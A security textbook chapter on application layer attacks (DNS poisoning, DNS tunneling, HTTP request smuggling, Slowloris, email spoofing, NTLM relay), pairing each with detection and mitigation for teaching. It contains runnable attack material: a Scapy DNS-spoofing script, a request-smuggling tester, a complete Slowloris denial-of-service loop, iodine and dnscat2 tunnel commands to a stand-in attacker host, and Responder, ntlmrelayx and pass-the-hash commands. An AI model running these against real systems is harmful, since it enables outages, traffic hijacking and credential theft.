Part II: Vulnerability Study Chapter 5

Application Layer Attacks

DNS poisoning, HTTP attacks, email security, SMB/RPC exploits, and application protocol defense strategies

Chapter 5: Application Layer Attacks

The Dyn DDoS Attack and DNS Fragility

On October 21, 2016, internet users across the United States woke up to find they couldn’t access Twitter, Spotify, Netflix, Reddit, The New York Times, and dozens of other major websites. The sites weren’t downβ€”but the DNS provider that resolved their domain names was under attack.

Dyn, a major DNS infrastructure provider, was being hammered by a massive DDoS attack from the Mirai botnetβ€”a network of compromised IoT devices including cameras, DVRs, and routers. At its peak, the attack generated 1.2 Tbps of traffic, making it one of the largest DDoS attacks ever recorded at that time.

The Dyn attack highlighted a fundamental internet dependency: DNS. Without it, domain names can’t resolve to IP addresses, and the human-friendly internet becomes unusable. But DNS wasn’t designed with security in mindβ€”it was designed for a small, trusted network. This chapter explores attacks against DNS and other application layer protocols, revealing how the applications we depend on daily can be weaponized.


Application Layer Attack Surface

The application layer (Layer 7) is where users interact with network services. It’s also where most vulnerabilities existβ€”these protocols were designed for functionality, not security.

Application Layer Attack Surface

Application Layer Attack Surface:
═══════════════════════════════════════════════════════════════════

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                        DNS ATTACKS                              β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  β€’ DNS Cache Poisoning      β€’ DNS Amplification DDoS            β”‚
β”‚  β€’ DNS Hijacking            β€’ DNS Tunneling (Exfiltration)      β”‚
β”‚  β€’ NXDOMAIN Attack          β€’ Subdomain Enumeration             β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                        HTTP ATTACKS                             β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  β€’ HTTP Request Smuggling   β€’ Host Header Injection             β”‚
β”‚  β€’ HTTP Response Splitting  β€’ Verb Tampering                    β”‚
β”‚  β€’ HTTP Desync              β€’ Slowloris/Slow HTTP               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                      EMAIL ATTACKS                              β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  β€’ SMTP Open Relay          β€’ Email Spoofing                    β”‚
β”‚  β€’ Phishing                 β€’ Business Email Compromise (BEC)   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                   AUTHENTICATION ATTACKS                        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  β€’ NTLM Relay               β€’ Kerberoasting                     β”‚
β”‚  β€’ Pass-the-Hash            β€’ Golden/Silver Ticket              β”‚
β”‚  β€’ Credential Stuffing      β€’ Password Spraying                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

MITRE ATT&CK Reference

Application layer attacks map to:

  • T1071 - Application Layer Protocol
  • T1568 - Dynamic Resolution
  • T1557 - Adversary-in-the-Middle
  • T1566 - Phishing
  • T1110 - Brute Force

DNS Attacks

DNS Cache Poisoning

DNS cache poisoning injects false DNS records into a resolver’s cache, redirecting users to malicious servers.

DNS Cache Poisoning Attack

DNS Cache Poisoning Attack:
═══════════════════════════════════════════════════════════════════

NORMAL DNS RESOLUTION:
User ───► Local Resolver ───► Root ───► TLD ───► Authoritative
                β”‚                                      β”‚
                │◄────────── Legitimate Response β”€β”€β”€β”€β”€β”€β”˜
                β”‚
                └──► Caches result for TTL period

CACHE POISONING ATTACK:
User ───► Local Resolver ───► Query to Auth Server
                β”‚                     β”‚
                β”‚                     β”‚ ◄─── Attacker floods fake 
                β”‚                     β”‚      responses faster than
                │◄── Fake Response β”€β”€β”€β”˜      legitimate response
                β”‚
                └──► Caches POISONED record

Requirements for success:
1. Query ID must match (16-bit = 65,536 possibilities)
2. Source port must match (often predictable pre-2008)
3. Must arrive before legitimate response
4. Domain must match query

Kaminsky Attack (2008)

Dan Kaminsky’s attack dramatically improved cache poisoning effectiveness:

Kaminsky Attack Innovation

Kaminsky Attack Innovation:
═══════════════════════════════════════════════════════════════════

TRADITIONAL: Attack single query, must win race each time
KAMINSKY:    Trigger unlimited queries, eventually win

ATTACK FLOW:
1. Attacker asks resolver for: random123.example.com
   (Non-existent subdomain forces new query)

2. Flood fake responses with:
   - Answer: random123.example.com = anything
   - ADDITIONAL SECTION: ns.example.com = attacker_ip
   
3. If wrong, ask for random456.example.com, repeat

4. Eventually, guess correct query ID
   Resolver caches: "ns.example.com = attacker_ip"
   
5. ALL future queries for *.example.com go to attacker!

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Poisoned Cache Entry:                                           β”‚
β”‚ ns.example.com = 192.168.1.100 (ATTACKER)                       β”‚
β”‚                                                                 β”‚
β”‚ Now ALL example.com queries answered by attacker!               β”‚
β”‚ - mail.example.com = attacker's mail server                     β”‚
β”‚ - www.example.com = attacker's web server                       β”‚
β”‚ - bank.example.com = attacker's phishing site                   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Practical Implementation

Using Scapy:

#!/usr/bin/env python3
"""
DNS Cache Poisoning Demonstration - AUTHORIZED USE ONLY
Shows the mechanics of DNS response spoofing
"""
from scapy.all import *
import random
import argparse

def dns_poison(target_resolver, victim_domain, spoofed_ip, iface):
    """
    Attempt DNS cache poisoning (educational demonstration)
    
    In practice, need to:
    1. Trigger query to resolver
    2. Race to respond before legitimate auth server
    3. Match query ID (guess)
    """
    
    # Generate random query ID (we'd need to guess this)
    query_id = random.randint(0, 65535)
    
    # Craft spoofed DNS response
    dns_response = (
        IP(dst=target_resolver, src="8.8.8.8") /  # Pretend to be upstream
        UDP(sport=53, dport=random.randint(1024, 65535)) /
        DNS(
            id=query_id,
            qr=1,         # Response
            aa=1,         # Authoritative
            rd=1,         # Recursion desired
            ra=1,         # Recursion available
            qdcount=1,
            ancount=1,
            qd=DNSQR(qname=victim_domain),
            an=DNSRR(
                rrname=victim_domain,
                type='A',
                ttl=86400,
                rdata=spoofed_ip
            )
        )
    )
    
    print(f"[*] Sending poisoned DNS response")
    print(f"[*] Query ID guess: {query_id}")
    print(f"[*] Poisoning {victim_domain} -> {spoofed_ip}")
    
    send(dns_response, iface=iface, verbose=False)

def dns_poison_flood(target_resolver, victim_domain, spoofed_ip, iface, count=1000):
    """
    Flood with many guesses (Kaminsky-style)
    """
    print(f"[*] Flooding {count} DNS responses")
    print(f"[*] Target resolver: {target_resolver}")
    print(f"[*] Poisoning: {victim_domain} -> {spoofed_ip}")
    
    for i in range(count):
        dns_poison(target_resolver, victim_domain, spoofed_ip, iface)
        
        if (i + 1) % 100 == 0:
            print(f"[*] Sent {i + 1} packets...")
    
    print("[+] Flood complete")

if __name__ == "__main__":
    print("[!] DNS Cache Poisoning Demo - Educational Use Only!")
    print("[!] Modern resolvers have mitigations (source port randomization, DNSSEC)")

Detection

Resolver-Side:

# Check for multiple responses to single query
tcpdump -i eth0 'udp port 53' -nn | grep -E "A \d+\.\d+\.\d+"

# Look for:
# - Multiple responses with different IPs
# - Responses from unexpected sources
# - High volume of DNS traffic

DNSSEC Validation Failures:

# If DNSSEC enabled, poisoned responses will fail validation
dig +dnssec example.com

# Look for: "ad" flag (authenticated data)
# Absence indicates potential tampering

Mitigation

Source Port Randomization (Post-Kaminsky):

Before 2008: DNS used source port 53 (predictable)
After 2008:  Random source port (65,536 Γ— 65,536 = 4 billion guesses)

Check resolver configuration:
# BIND - random source ports by default in modern versions
# Verify with: dig @resolver example.com +short and check source port

DNSSEC:

DNSSEC Cryptographic DNS Validation

DNSSEC - Cryptographic DNS Validation:
═══════════════════════════════════════════════════════════════════

DNS Response:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ example.com  A  93.184.216.34                                    β”‚
β”‚ RRSIG: [cryptographic signature of above record]                 β”‚
β”‚                                                                  β”‚
β”‚ Resolver validates signature against published key               β”‚
β”‚ Invalid signature = Response rejected                            β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Enable validation in BIND:
options {
    dnssec-validation auto;
};

DNS over HTTPS (DoH) / DNS over TLS (DoT):

# Encrypts DNS traffic, prevents MITM poisoning
# DoH: DNS over HTTPS (port 443)
# DoT: DNS over TLS (port 853)

# Test with cloudflared
cloudflared proxy-dns --address 127.0.0.1 --port 5353

DNS Tunneling

Overview

DNS tunneling encodes data in DNS queries/responses, enabling covert communication and data exfiltration through firewalls that allow DNS.

DNS Tunneling Concept

DNS Tunneling Concept:
═══════════════════════════════════════════════════════════════════

PROBLEM: Firewall blocks all outbound except DNS
SOLUTION: Encode data as DNS queries

EXFILTRATION EXAMPLE:
Stolen data: "password123"
Encoded as: cGFzc3dvcmQxMjM=.tunnel.attacker.com

Internal ────► DNS Query ────► Firewall ────► DNS Server
Machine        for subdomain   Allows DNS     (Attacker)
               (encoded data)  
               
Response can contain commands (encoded in TXT records)

TUNNEL DATA FLOW:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    DNS Query: data.tunnel.attacker.com    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Compromised  │──────────────────────────────────────────►│   Attacker   β”‚
β”‚  Host         β”‚                                           β”‚   DNS Server β”‚
β”‚               │◄──────────────────────────────────────────│              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    DNS Response: TXT "command_encoded"    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Tunneling Tools

Using iodine:

# Server setup (attacker)
# Requires domain delegated to your server
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com

# Client setup (compromised host)
iodine -f -P password tunnel.attacker.com

# Now have IP tunnel over DNS
# 10.0.0.x network accessible

Using dnscat2:

# Server (attacker)
ruby dnscat2.rb tunnel.attacker.com

# Client (compromised host)
./dnscat2 tunnel.attacker.com

# Interactive shell over DNS

Detection

Indicators of DNS Tunneling:

IndicatorNormalTunneling
Query lengthShort (< 50 chars)Long encoded strings
Query frequencySporadicHigh, regular
Record typesA, AAAA, MXTXT, NULL, CNAME
Subdomain entropyLow (readable)High (random-looking)
Response sizeSmallLarge TXT records
# Detect with DNS logs
# Look for high-entropy subdomains
# Example suspicious query: aGVsbG93b3JsZA.tunnel.evil.com

# Zeek/Bro detection
# dns.log analysis for unusual patterns

Mitigation

# Block DNS to external resolvers
iptables -A OUTPUT -p udp --dport 53 ! -d internal_dns -j DROP
iptables -A OUTPUT -p tcp --dport 53 ! -d internal_dns -j DROP

# Force internal DNS with inspection
# DNS proxy that filters suspicious queries

# Block NULL, TXT records to unknown domains
# Rate limit DNS queries per host

HTTP Attacks

HTTP Request Smuggling

Request smuggling exploits differences in how front-end (proxy/WAF) and back-end servers parse HTTP requests.

HTTP Request Smuggling

HTTP Request Smuggling:
═══════════════════════════════════════════════════════════════════

THE AMBIGUITY:
HTTP/1.1 has TWO ways to specify body length:
1. Content-Length: 13
2. Transfer-Encoding: chunked

What if BOTH are present and disagree?

CL.TE ATTACK (Front-end uses Content-Length, Back-end uses Transfer-Encoding):
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ POST / HTTP/1.1                                                   β”‚
β”‚ Host: vulnerable.com                                              β”‚
β”‚ Content-Length: 13                                                β”‚
β”‚ Transfer-Encoding: chunked                                        β”‚
β”‚                                                                   β”‚
β”‚ 0                        <- Front-end thinks body ends here       β”‚
β”‚                                                                   β”‚
β”‚ GET /admin HTTP/1.1      <- Back-end sees this as NEW request!    β”‚
β”‚ Host: vulnerable.com                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Front-end:  Sees one request (CL=13, body="0\r\n\r\nGET /adm")
Back-end:   Sees TWO requests (chunked body=empty, then GET /admin)

RESULT: Smuggled request bypasses front-end security!

TE.CL Attack

TE.CL (Frontend uses TransferEncoding, Backend uses ContentLength)

TE.CL (Front-end uses Transfer-Encoding, Back-end uses Content-Length):
═══════════════════════════════════════════════════════════════════

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Front-end: Processes chunked (complete request)
Back-end:  Content-Length: 3 β†’ body is "8\r\n"
           Leftover "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix

Next legitimate user's request gets "SMUGGLED" prepended!

Request Smuggling Exploitation

#!/usr/bin/env python3
"""
HTTP Request Smuggling Test - AUTHORIZED USE ONLY
Tests for CL.TE vulnerability
"""
import socket

def test_clte_smuggling(host, port=80):
    """
    Test for CL.TE request smuggling
    """
    # CL.TE smuggling payload
    payload = (
        "POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        "Content-Length: 6\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
        "G"  # This 'G' will poison the next request
    )
    
    # Send payload
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.send(payload.encode())
    response = sock.recv(4096)
    sock.close()
    
    print(f"[*] Response: {response[:200]}")
    print("[*] If next request returns 'GPOST' method error, vulnerable!")
    
    # Send normal request to check if poisoned
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.send(f"POST / HTTP/1.1\r\nHost: {host}\r\n\r\n".encode())
    response = sock.recv(4096)
    sock.close()
    
    print(f"[*] Follow-up response: {response[:200]}")

if __name__ == "__main__":
    print("[!] HTTP Request Smuggling Test - Educational Use Only!")

Mitigation

# HAProxy - Normalize requests
option http-use-htx
option httplog

# Nginx - Reject ambiguous requests
proxy_http_version 1.1;

# Apache - mod_security rules
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked" \
    "chain,id:1,deny,msg:'CL-TE Smuggling Attempt'"
SecRule REQUEST_HEADERS:Content-Length "@gt 0"

Slowloris and Slow HTTP Attacks

Attack Overview

Slowloris keeps many connections open by sending partial HTTP requests slowly, exhausting server connection pools.

Slowloris Attack

Slowloris Attack:
═══════════════════════════════════════════════════════════════════

NORMAL REQUEST:
Client sends complete request quickly:
GET / HTTP/1.1\r\n
Host: target.com\r\n
\r\n

SLOWLORIS:
Client sends headers VERY slowly, never completing:

Connection 1: "GET / HTTP/1.1\r\nHost: t" ... wait 10s ... "arget.com\r\n" ...
Connection 2: "GET / HTTP/1.1\r\n" ... wait 10s ... "Host: target" ...
Connection 3: "GET / HTTP/1.1\r\nHo" ... wait 10s ... "st:" ...
... (hundreds of connections)

Server keeps all connections open waiting for complete request
Eventually, connection pool exhausted
Legitimate users can't connect

Resources needed: Minimal (few KB per connection)
Impact: Complete denial of service

Practical Implementation

Using slowloris.py:

# Install
pip install slowloris

# Run attack
slowloris target.com -s 500 -p 80
# -s 500 = 500 sockets

Using Python:

#!/usr/bin/env python3
"""
Slowloris Demonstration - AUTHORIZED USE ONLY
"""
import socket
import time
import random
import argparse

def slowloris(target, port=80, sockets_count=200):
    """
    Slowloris DoS attack demonstration
    """
    sockets_list = []
    
    # Create sockets
    print(f"[*] Creating {sockets_count} sockets...")
    for _ in range(sockets_count):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(4)
            sock.connect((target, port))
            sockets_list.append(sock)
        except socket.error:
            pass
    
    print(f"[*] Created {len(sockets_list)} sockets")
    
    # Send partial headers
    for sock in sockets_list:
        try:
            sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode())
            sock.send(f"Host: {target}\r\n".encode())
            sock.send("User-Agent: Mozilla/5.0\r\n".encode())
            sock.send("Accept-language: en-US\r\n".encode())
            # Note: Don't send final \r\n - keep connection "pending"
        except socket.error:
            sockets_list.remove(sock)
    
    # Keep connections alive with periodic partial data
    while True:
        print(f"[*] Keeping {len(sockets_list)} connections alive...")
        
        for sock in list(sockets_list):
            try:
                # Send incomplete header to keep connection alive
                sock.send(f"X-a: {random.randint(1, 5000)}\r\n".encode())
            except socket.error:
                sockets_list.remove(sock)
        
        # Recreate lost sockets
        diff = sockets_count - len(sockets_list)
        if diff > 0:
            print(f"[*] Recreating {diff} sockets...")
            for _ in range(diff):
                try:
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(4)
                    sock.connect((target, port))
                    sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode())
                    sockets_list.append(sock)
                except socket.error:
                    pass
        
        time.sleep(10)

if __name__ == "__main__":
    print("[!] Slowloris Demo - Educational/Authorized Use Only!")

Mitigation

# Nginx - Timeout and connection limits
client_header_timeout 10s;
client_body_timeout 10s;
send_timeout 10s;
limit_conn_zone $binary_remote_addr zone=addr:10m;
limit_conn addr 10;  # Max 10 connections per IP

# Apache - mod_reqtimeout
RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500

# HAProxy - Timeout settings
timeout client 10s
timeout server 10s
timeout http-request 10s

Email Security Attacks

Email Spoofing

Email lacks built-in authentication, allowing attackers to forge sender addresses.

Email Spoofing

Email Spoofing:
═══════════════════════════════════════════════════════════════════

SMTP doesn't verify sender identity:

MAIL FROM: <ceo@company.com>     <- Can be anything!
RCPT TO: <employee@company.com>
DATA
From: CEO <ceo@company.com>
To: Employee <employee@company.com>
Subject: Urgent Wire Transfer

Please transfer $50,000 to account...
.

The "From:" address is completely attacker-controlled
No authentication in basic SMTP

SPF, DKIM, DMARC

Modern email authentication stack:

Email Authentication Stack

Email Authentication Stack:
═══════════════════════════════════════════════════════════════════

SPF (Sender Policy Framework):
─────────────────────────────
DNS TXT record lists authorized sending IPs
v=spf1 ip4:192.0.2.0/24 include:_spf.google.com -all

Receiving server checks: "Is sender IP authorized for this domain?"


DKIM (DomainKeys Identified Mail):
──────────────────────────────────
Cryptographic signature in email header
Receiving server validates against public key in DNS

DKIM-Signature: v=1; d=example.com; s=selector; 
    bh=MTIzNDU2Nzg5; h=from:to:subject; b=dGVzdHNpZw==


DMARC (Domain-based Message Authentication):
────────────────────────────────────────────
Policy layer on top of SPF and DKIM
Tells receivers what to do with failures

v=DMARC1; p=reject; rua=mailto:reports@example.com

p=reject: Reject emails that fail SPF AND DKIM

Bypassing Email Security

DMARC Bypass Techniques

DMARC Bypass Techniques:
═══════════════════════════════════════════════════════════════════

1. COUSIN DOMAINS:
   Real: company.com
   Fake: c0mpany.com, company-mail.com
   DMARC only checks exact domain match

2. SUBDOMAIN SPOOFING:
   If DMARC policy is "p=none" for subdomains
   Spoof: mail.company.com

3. DISPLAY NAME SPOOFING:
   From: "CEO Name" <attacker@evil.com>
   Users see "CEO Name", ignore email address

4. REPLY-TO MANIPULATION:
   From: legitimate@company.com (SPF passes)
   Reply-To: attacker@evil.com
   User's reply goes to attacker

SMB/Windows Protocol Attacks

NTLM Relay Attack

NTLM relay captures authentication attempts and relays them to access other services.

NTLM Relay Attack

NTLM Relay Attack:
═══════════════════════════════════════════════════════════════════

1. Attacker sets up fake SMB server
2. Victim connects (via phishing link, forced auth, etc.)
3. Attacker relays victim's auth to target server

Victim ────► "Connect to \\attacker\share" ────► Attacker Server
                                                      β”‚
                                                      β”‚ Relays auth
                                                      β–Ό
                                              Target Server
                                              (Victim's credentials used!)

Result: Attacker accesses Target Server as Victim

Using Responder + ntlmrelayx:

# Start Responder to capture hashes
sudo responder -I eth0 -wrf

# Or relay to another target
sudo ntlmrelayx.py -t smb://192.168.1.100 -smb2support

# Trigger victim connection (many methods):
# - Phishing link: file://attacker/share
# - LLMNR/NBT-NS poisoning (Responder)
# - Outlook rule injection

Pass-the-Hash

Use captured NTLM hash without cracking:

# Using CrackMapExec
crackmapexec smb 192.168.1.100 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Using pth-winexe
pth-winexe -U domain/administrator%aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 //192.168.1.100 cmd.exe

Mitigation

SMB Signing (prevents relay)

SMB Signing (prevents relay):
─────────────────────────────
# Group Policy
Computer Configuration β†’ Policies β†’ Windows Settings β†’ 
Security Settings β†’ Local Policies β†’ Security Options
Microsoft network server: Digitally sign communications (always) = Enabled

# Registry
RequireSecuritySignature = 1

NTLM Restrictions:
──────────────────
# Disable NTLMv1, require NTLMv2
LMCompatibilityLevel = 5

# Consider disabling NTLM entirely (use Kerberos)
Network security: Restrict NTLM = Deny All

Lab Exercise: Application Layer Attack Analysis

Objective

Observe DNS security and HTTP attack patterns.

Exercise 1: DNS Query Analysis

# Capture DNS traffic
sudo tcpdump -i eth0 'udp port 53' -w dns.pcap

# Analyze with tshark
tshark -r dns.pcap -Y 'dns' -T fields -e dns.qry.name | sort | uniq -c | sort -rn

# Look for:
# - High-entropy subdomains (tunneling)
# - Unusually long queries
# - High query frequency

Exercise 2: HTTP Header Testing

# Test for request smuggling indicators
curl -v -X POST https://target.com \
  -H "Content-Length: 0" \
  -H "Transfer-Encoding: chunked" \
  --data "0"

# Check response for errors indicating parsing differences

Exercise 3: Email Header Analysis

# Examine email headers for authentication results
# Look for:
# - SPF: pass/fail
# - DKIM: pass/fail  
# - DMARC: pass/fail

# Example header:
# Authentication-Results: mx.google.com;
#        spf=pass smtp.mailfrom=example.com;
#        dkim=pass header.d=example.com;
#        dmarc=pass

Key Takeaways

  1. DNS cache poisoning exploits lack of authenticationβ€”DNSSEC and source port randomization provide defense

  2. DNS tunneling enables covert exfiltrationβ€”monitor for high-entropy queries and unusual record types

  3. HTTP request smuggling exploits parsing differencesβ€”normalize requests at the proxy layer

  4. Email spoofing is trivial without SPF/DKIM/DMARCβ€”implement all three with reject policies

  5. NTLM relay allows credential reuseβ€”require SMB signing and restrict NTLM usage


Self-Assessment

  1. Comprehension: Why did source port randomization make DNS cache poisoning significantly harder?

  2. Application: You’ve identified DNS tunneling in your environment. What indicators led you to this conclusion?

  3. What if: Your organization’s SPF record is too permissive (includes a large cloud provider). How could an attacker exploit this?


Review Questions

  1. Explain how the Kaminsky DNS attack differs from traditional cache poisoning.
  2. What are the indicators of DNS tunneling activity?
  3. How does HTTP request smuggling exploit proxy/backend differences?
  4. What’s the purpose of each component in SPF, DKIM, and DMARC?
  5. How does NTLM relay work, and what prevents it?
  6. Why is Slowloris effective against thread-based web servers?

MITRE ATT&CK Mapping

AttackTechnique IDTactic
DNS Cache PoisoningT1557.004Credential Access
DNS TunnelingT1071.004Command and Control
HTTP SmugglingT1190Initial Access
Email SpoofingT1566.001Initial Access
NTLM RelayT1557.001Credential Access